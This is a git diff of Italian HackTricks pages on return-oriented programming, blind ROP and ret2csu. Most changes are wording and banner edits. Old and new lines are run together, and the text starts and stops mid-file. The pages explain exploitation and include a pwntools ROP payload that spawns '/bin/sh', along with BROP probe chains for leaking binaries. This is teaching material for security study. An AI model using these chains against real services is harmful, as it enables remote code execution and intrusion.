* In questo caso è necessario scrivere 4 all'interno di un chunk specifico che è il primo ad essere allocato (anche dopo averli liberati forzatamente tutti). Su ciascun nuovo chunk allocato viene memorizzato il suo numero nell'indice dell'array. Quindi, allocare 4 chunk (+ quello inizialmente allocato), l'ultimo avrà 4 al suo interno, liberarli e forzare la riallocazione del primo, che utilizzerà l'ultimo chunk liberato che è quello con 4 al suo interno. * In questo caso è necessario scrivere 4 all'interno di un chunk specifico che è il primo ad essere allocato (anche dopo averli liberati forzatamente tutti). Su ciascun nuovo chunk allocato viene memorizzato il suo numero nell'indice dell'array. Quindi, allocare 4 chunk (+ quello inizialmente allocato), l'ultimo avrà 4 al suo interno, liberarli e forzare la riallocazione del primo, che utilizzerà l'ultimo chunk liberato che è quello con 4 al suo interno.

View file

@ -1,18 +1,19 @@
# ROP - Return Oriented Programing # ROP - Return Oriented Programing
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## **Informazioni di Base** ## **Informazioni di Base**
@ -20,20 +21,20 @@ Altri modi per supportare HackTricks:
### Come Funziona ROP ### Come Funziona ROP
1. **Controllo del Flusso di Esecuzione**: Innanzitutto, un attaccante deve dirottare il flusso di esecuzione di un programma, tipicamente sfruttando un buffer overflow per sovrascrivere un indirizzo di ritorno salvato nello stack. 1. **Dirottamento del Flusso di Controllo**: Innanzitutto, un attaccante deve dirottare il flusso di controllo di un programma, tipicamente sfruttando un buffer overflow per sovrascrivere un indirizzo di ritorno salvato nello stack.
2. **Concatenazione di Gadget**: L'attaccante seleziona attentamente e concatena i gadget per eseguire le azioni desiderate. Ciò potrebbe coinvolgere la configurazione degli argomenti per una chiamata di funzione, la chiamata della funzione (ad esempio, `system("/bin/sh")`), e la gestione di eventuali operazioni di pulizia o aggiuntive necessarie. 2. **Concatenazione di Gadget**: L'attaccante seleziona attentamente e concatena i gadget per eseguire le azioni desiderate. Ciò potrebbe coinvolgere la configurazione degli argomenti per una chiamata di funzione, la chiamata della funzione (ad esempio, `system("/bin/sh")`), e la gestione di eventuali operazioni di pulizia o aggiuntive.
3. **Esecuzione del Payload**: Quando la funzione vulnerabile ritorna, anziché tornare a una posizione legittima, inizia ad eseguire la catena di gadget. 3. **Esecuzione del Payload**: Quando la funzione vulnerabile ritorna, anziché tornare a una posizione legittima, inizia ad eseguire la catena di gadget.
### Strumenti ### Strumenti
Tipicamente, i gadget possono essere trovati utilizzando [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) o direttamente da **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)). Tipicamente, i gadget possono essere trovati utilizzando [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) o direttamente da **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
## ROP Chain in Esempio x86 ## Catena ROP in Esempio x86
### **Convenzioni di Chiamata x86 (32-bit)** ### **Convenzioni di Chiamata x86 (32-bit)**
* **cdecl**: Il chiamante pulisce lo stack. Gli argomenti della funzione vengono spinti nello stack in ordine inverso (da destra a sinistra). **Gli argomenti vengono spinti nello stack da destra a sinistra.** * **cdecl**: Il chiamante pulisce lo stack. Gli argomenti della funzione vengono spinti nello stack in ordine inverso (da destra a sinistra). **Gli argomenti vengono spinti nello stack da destra a sinistra.**
* **stdcall**: Simile a cdecl, ma il chiamato è responsabile della pulizia dello stack. * **stdcall**: Simile a cdecl, ma è il chiamato a pulire lo stack.
### **Ricerca di Gadget** ### **Ricerca di Gadget**
@ -85,7 +86,7 @@ payload = fit({offset: rop_chain})
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
## Esempio di Catena ROP in x64 ## Catena ROP nell'esempio x64
### **Convenzioni di chiamata x64 (64-bit)** ### **Convenzioni di chiamata x64 (64-bit)**
@ -147,7 +148,7 @@ In questo esempio:
### Allineamento dello Stack ### Allineamento dello Stack
**L'ABI x86-64** garantisce che lo **stack sia allineato a 16 byte** quando viene eseguita un'**istruzione di chiamata**. **LIBC**, per ottimizzare le prestazioni, **utilizza istruzioni SSE** (come **movaps**) che richiedono questo allineamento. Se lo stack non è allineato correttamente (cioè **RSP** non è un multiplo di 16), le chiamate alle funzioni come **system** falliranno in una **catena ROP**. Per risolvere questo problema, aggiungi semplicemente un **gadget ret** prima di chiamare **system** nella tua catena ROP. **L'ABI x86-64** garantisce che lo **stack sia allineato a 16 byte** quando viene eseguita un'**istruzione di chiamata**. **LIBC**, per ottimizzare le prestazioni, **utilizza istruzioni SSE** (come **movaps**) che richiedono questo allineamento. Se lo stack non è allineato correttamente (cioè **RSP** non è un multiplo di 16), le chiamate a funzioni come **system** falliranno in una **catena ROP**. Per risolvere questo problema, aggiungi semplicemente un **gadget ret** prima di chiamare **system** nella tua catena ROP.
## Differenza principale tra x86 e x64 ## Differenza principale tra x86 e x64
@ -157,7 +158,7 @@ Poiché **x64 utilizza registri per i primi argomenti**, spesso richiede meno ga
## Esempio di catena ROP in ARM64 ## Esempio di catena ROP in ARM64
### **Principi di base e convenzioni di chiamata ARM64** ### **Principi di base di ARM64 e convenzioni di chiamata**
Controlla la seguente pagina per questa informazione: Controlla la seguente pagina per questa informazione:
@ -167,23 +168,23 @@ Controlla la seguente pagina per questa informazione:
## Protezioni contro la ROP ## Protezioni contro ROP
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **e** [**PIE**](../common-binary-protections-and-bypasses/pie/): Queste protezioni rendono più difficile l'uso della ROP poiché gli indirizzi dei gadget cambiano tra le esecuzioni. * [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Queste protezioni rendono più difficile l'uso di ROP poiché gli indirizzi dei gadget cambiano tra le esecuzioni.
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): In caso di BOF, è necessario aggirare lo stack canary per sovrascrivere i puntatori di ritorno per abusare di una catena ROP. * [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): In caso di BOF, è necessario aggirare lo stack canary per sovrascrivere i puntatori di ritorno per abusare di una catena ROP.
* **Mancanza di Gadget**: Se non ci sono abbastanza gadget, non sarà possibile generare una catena ROP. * **Mancanza di Gadget**: Se non ci sono abbastanza gadget, non sarà possibile generare una catena ROP.
## Tecniche basate su ROP ## Tecniche basate su ROP
Nota che la ROP è solo una tecnica per eseguire codice arbitrario. Basandosi sulla ROP, sono state sviluppate molte tecniche Ret2XXX: Nota che ROP è solo una tecnica per eseguire codice arbitrario. Basandosi su ROP sono state sviluppate molte tecniche Ret2XXX:
* **Ret2lib**: Utilizza la ROP per chiamare funzioni arbitrarie da una libreria caricata con parametri arbitrari (di solito qualcosa come `system('/bin/sh')`. * **Ret2lib**: Usa ROP per chiamare funzioni arbitrarie da una libreria caricata con parametri arbitrari (di solito qualcosa come `system('/bin/sh')`.
{% content-ref url="ret2lib/" %} {% content-ref url="ret2lib/" %}
[ret2lib](ret2lib/) [ret2lib](ret2lib/)
{% endcontent-ref %} {% endcontent-ref %}
* **Ret2Syscall**: Utilizza la ROP per preparare una chiamata a una syscall, ad es. `execve`, e far eseguire comandi arbitrari. * **Ret2Syscall**: Usa ROP per preparare una chiamata a una syscall, ad es. `execve`, e far eseguire comandi arbitrari.
{% content-ref url="rop-syscall-execv/" %} {% content-ref url="rop-syscall-execv/" %}
[rop-syscall-execv](rop-syscall-execv/) [rop-syscall-execv](rop-syscall-execv/)
@ -202,3 +203,18 @@ Nota che la ROP è solo una tecnica per eseguire codice arbitrario. Basandosi su
* 64 bit, Pie e nx abilitato, nessun canary, sovrascrive RIP con un indirizzo `vsyscall` con l'unico scopo di tornare all'indirizzo successivo nello stack che sarà una sovrascrittura parziale dell'indirizzo per ottenere la parte della funzione che rilascia il flag * 64 bit, Pie e nx abilitato, nessun canary, sovrascrive RIP con un indirizzo `vsyscall` con l'unico scopo di tornare all'indirizzo successivo nello stack che sarà una sovrascrittura parziale dell'indirizzo per ottenere la parte della funzione che rilascia il flag
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) * [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
* arm64, senza ASLR, gadget ROP per rendere lo stack eseguibile e saltare al codice shell nello stack * arm64, senza ASLR, gadget ROP per rendere lo stack eseguibile e saltare al codice shell nello stack
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Sostieni HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# BROP - Blind Return Oriented Programming # BROP - Blind Return Oriented Programming
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>
{% endhint %}
## Informazioni di Base ## Informazioni di Base
L'obiettivo di questo attacco è quello di **sfruttare un ROP tramite un buffer overflow senza alcuna informazione sul binario vulnerabile**.\ Lo scopo di questo attacco è quello di **sfruttare un ROP tramite un buffer overflow senza alcuna informazione sul binario vulnerabile**.\
Questo attacco si basa sul seguente scenario: Questo attacco si basa sul seguente scenario:
* Una vulnerabilità dello stack e la conoscenza di come attivarla. * Una vulnerabilità dello stack e la conoscenza di come attivarla.
@ -24,23 +25,23 @@ Questo attacco si basa sul seguente scenario:
## Attacco ## Attacco
### **1. Trova l'offset vulnerabile** inviando un carattere in più fino a quando non viene rilevato un malfunzionamento del server ### **1. Trovare l'offset vulnerabile** inviando un carattere in più fino a quando non viene rilevato un malfunzionamento del server
### **2. Forza bruta del canary** per effettuare un **leak**&#x20; ### **2. Forzare il canary** per effettuare un leak
### **3. Forza bruta degli indirizzi RBP e RIP** memorizzati nello stack per effettuare un **leak** ### **3. Forzare gli indirizzi RBP e RIP memorizzati** nello stack per effettuare un leak
È possibile trovare ulteriori informazioni su questi processi [qui (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) e [qui (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md). È possibile trovare ulteriori informazioni su questi processi [qui (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) e [qui (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
### **4. Trova il gadget di stop** ### **4. Trovare il gadget di stop**
Questo gadget permette fondamentalmente di confermare che è stato eseguito qualcosa di interessante tramite il gadget ROP perché l'esecuzione non è crashata. Di solito, questo gadget sarà qualcosa che **ferma l'esecuzione** ed è posizionato alla fine della catena ROP quando si cercano i gadget ROP per confermare che un determinato gadget ROP è stato eseguito. Questo gadget permette essenzialmente di confermare che è stato eseguito qualcosa di interessante tramite il gadget ROP perché l'esecuzione non è crashata. Di solito, questo gadget sarà qualcosa che **ferma l'esecuzione** ed è posizionato alla fine della catena ROP quando si cercano i gadget ROP per confermare che un determinato gadget ROP è stato eseguito.
### **5. Trova il gadget BROP** ### **5. Trovare il gadget BROP**
Questa tecnica utilizza il gadget [**ret2csu**](ret2csu.md). E questo perché se si accede a questo gadget nel mezzo di alcune istruzioni si ottengono gadget per controllare **`rsi`** e **`rdi`**: Questa tecnica utilizza il gadget [**ret2csu**](ret2csu.md). E questo perché se si accede a questo gadget nel mezzo di alcune istruzioni si ottengono gadget per controllare **`rsi`** e **`rdi`**:
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Questi sarebbero i gadget: Questi sarebbero i gadget:
@ -49,19 +50,19 @@ Questi sarebbero i gadget:
Nota come con quei gadget è possibile **controllare 2 argomenti** di una funzione da chiamare. Nota come con quei gadget è possibile **controllare 2 argomenti** di una funzione da chiamare.
Inoltre, nota che il gadget ret2csu ha una **firma molto unica** perché estrarrà 6 registri dallo stack. Quindi inviando una catena come: Inoltre, nota che il gadget ret2csu ha una **firma molto unica** perché estrae 6 registri dallo stack. Quindi inviando una catena come:
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP` `'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
Se viene eseguito lo **STOP**, questo significa fondamentalmente che è stato utilizzato un **indirizzo che estrae 6 registri** dallo stack. Oppure che l'indirizzo utilizzato era anche un indirizzo di STOP. Se viene eseguito il **STOP**, ciò significa essenzialmente che è stato utilizzato un **indirizzo che estrae 6 registri** dallo stack. Oppure che l'indirizzo utilizzato era anche un indirizzo di STOP.
Per **rimuovere quest'ultima opzione** viene eseguita una nuova catena come la seguente e non deve eseguire il gadget STOP per confermare che il precedente ha estratto 6 registri: Per **rimuovere questa ultima opzione** viene eseguita una nuova catena come la seguente e non deve eseguire il gadget STOP per confermare che il precedente ha estratto 6 registri:
`'A' * offset + canary + rbp + ADDR` `'A' * offset + canary + rbp + ADDR`
Conoscendo l'indirizzo del gadget ret2csu, è possibile **dedurre l'indirizzo dei gadget per controllare `rsi` e `rdi`**. Conoscendo l'indirizzo del gadget ret2csu, è possibile **dedurre l'indirizzo dei gadget per controllare `rsi` e `rdi`**.
### 6. Trova il PLT ### 6. Trovare il PLT
La tabella PLT può essere cercata da 0x400000 o dall'**indirizzo RIP leakato** dallo stack (se viene utilizzato **PIE**). Le **voci** della tabella sono **separate da 16B** (0x10B), e quando viene chiamata una funzione il server non crasha anche se gli argomenti non sono corretti. Inoltre, controllando l'indirizzo di una voce nel **PLT + 6B non crasha** poiché è il primo codice eseguito. La tabella PLT può essere cercata da 0x400000 o dall'**indirizzo RIP leakato** dallo stack (se viene utilizzato **PIE**). Le **voci** della tabella sono **separate da 16B** (0x10B), e quando viene chiamata una funzione il server non crasha anche se gli argomenti non sono corretti. Inoltre, controllando l'indirizzo di una voce nel **PLT + 6B non crasha** poiché è il primo codice eseguito.
@ -73,7 +74,7 @@ Pertanto, è possibile trovare la tabella PLT controllando i seguenti comportame
### 7. Trovare strcmp ### 7. Trovare strcmp
La funzione **`strcmp`** imposta il registro **`rdx`** alla lunghezza della stringa confrontata. Nota che **`rdx`** è il **terzo argomento** e deve essere **maggiore di 0** per poter successivamente utilizzare `write` per effettuare un **leak** del programma. La funzione **`strcmp`** imposta il registro **`rdx`** alla lunghezza della stringa confrontata. Nota che **`rdx`** è il **terzo argomento** e deve essere **maggiore di 0** per poter successivamente utilizzare `write` per effettuare un leak del programma.
È possibile trovare la posizione di **`strcmp`** nel PLT basandosi sul suo comportamento utilizzando il fatto che ora possiamo controllare i primi 2 argomenti delle funzioni: È possibile trovare la posizione di **`strcmp`** nel PLT basandosi sul suo comportamento utilizzando il fatto che ora possiamo controllare i primi 2 argomenti delle funzioni:
@ -82,7 +83,7 @@ La funzione **`strcmp`** imposta il registro **`rdx`** alla lunghezza della stri
* strcmp(\<indirizzo letto>, \<indirizzo non letto>) -> crash * strcmp(\<indirizzo letto>, \<indirizzo non letto>) -> crash
* strcmp(\<indirizzo letto>, \<indirizzo letto>) -> nessun crash * strcmp(\<indirizzo letto>, \<indirizzo letto>) -> nessun crash
È possibile verificare ciò chiamando ciascuna voce della tabella PLT o utilizzando il **percorso lento PLT** che consiste fondamentalmente nel **chiamare una voce nella tabella PLT + 0xb** (che chiama a **`dlresolve`**) seguito nello stack dal **numero di voce che si desidera esaminare** (a partire da zero) per esaminare tutte le voci PLT dalla prima: È possibile verificare ciò chiamando ciascuna voce della tabella PLT o utilizzando il **percorso lento PLT** che consiste essenzialmente nel **chiamare una voce nella tabella PLT + 0xb** (che chiama a **`dlresolve`**) seguito nello stack dal **numero di voce che si desidera esaminare** (a partire da zero) per esaminare tutte le voci PLT dalla prima:
* strcmp(\<indirizzo non letto>, \<indirizzo letto>) -> crash * strcmp(\<indirizzo non letto>, \<indirizzo letto>) -> crash
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Crash * `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Crash
@ -104,7 +105,7 @@ Nota che di solito `rdx` conterrà già un valore maggiore di 0, quindi questo p
{% endhint %} {% endhint %}
### 8. Trovare Write o equivalente ### 8. Trovare Write o equivalente
Infine, è necessario un gadget che esfiltra i dati per esfiltrare il binario. E in questo momento è possibile **controllare 2 argomenti e impostare `rdx` maggiore di 0.** Infine, è necessario un gadget che esfiltrerà i dati per esfiltrare il binario. E in questo momento è possibile **controllare 2 argomenti e impostare `rdx` maggiore di 0.**
Ci sono 3 funzioni comuni che potrebbero essere abusate per questo: Ci sono 3 funzioni comuni che potrebbero essere abusate per questo:
@ -116,15 +117,15 @@ Tuttavia, il documento originale menziona solo la funzione **`write`**, quindi p
Il problema attuale è che non sappiamo **dove si trova la funzione write all'interno del PLT** e non conosciamo **un numero fd per inviare i dati al nostro socket**. Il problema attuale è che non sappiamo **dove si trova la funzione write all'interno del PLT** e non conosciamo **un numero fd per inviare i dati al nostro socket**.
Tuttavia, sappiamo **dove si trova la tabella PLT** ed è possibile trovare write in base al suo **comportamento**. E possiamo creare **diverse connessioni** con il server e utilizzare un **FD alto** sperando che corrisponda a qualche nostra connessione. Tuttavia, sappiamo **dove si trova la tabella PLT** ed è possibile trovare write in base al suo **comportamento**. E possiamo creare **diverse connessioni** con il server e utilizzare un **FD alto** sperando che corrisponda a una delle nostre connessioni.
Firme di comportamento per trovare queste funzioni: Firme di comportamento per trovare queste funzioni:
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se vengono stampati dati, allora è stata trovata puts * `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se vengono stampati dei dati, allora è stata trovata puts
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se vengono stampati dati, allora è stata trovata dprintf * `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se vengono stampati dei dati, allora è stata trovata dprintf
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se vengono stampati dati, allora è stata trovata write * `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se vengono stampati dei dati, allora è stata trovata write
## Sfruttamento Automatico ## Esploitation Automatica
* [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper) * [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)
@ -132,17 +133,3 @@ Firme di comportamento per trovare queste funzioni:
* Documento originale: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf) * Documento originale: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop) * [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,18 +1,19 @@
# Ret2csu # Ret2csu
{% hint style="success" %}
Impara e pratica l'Hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## ##
@ -47,7 +48,7 @@ mov rsi, r14;
mov edi, r13d; mov edi, r13d;
call qword [r12 + rbx*8]; call qword [r12 + rbx*8];
``` ```
2. Forse non conosci nessun indirizzo da scrivere lì e hai bisogno di un'istruzione `ret`. Nota che il secondo gadget finirà anche con un `ret`, ma dovrai soddisfare alcune condizioni per raggiungerlo: 2. Forse non conosci nessun indirizzo da scrivere lì e hai bisogno di un'istruzione `ret`. Nota che il secondo gadget finirà anche con un `ret`, ma dovrai soddisfare alcune condizioni per poterci arrivare:
```armasm ```armasm
mov rdx, r15; mov rdx, r15;
mov rsi, r14; mov rsi, r14;
@ -61,7 +62,7 @@ ret
``` ```
Le condizioni saranno: Le condizioni saranno:
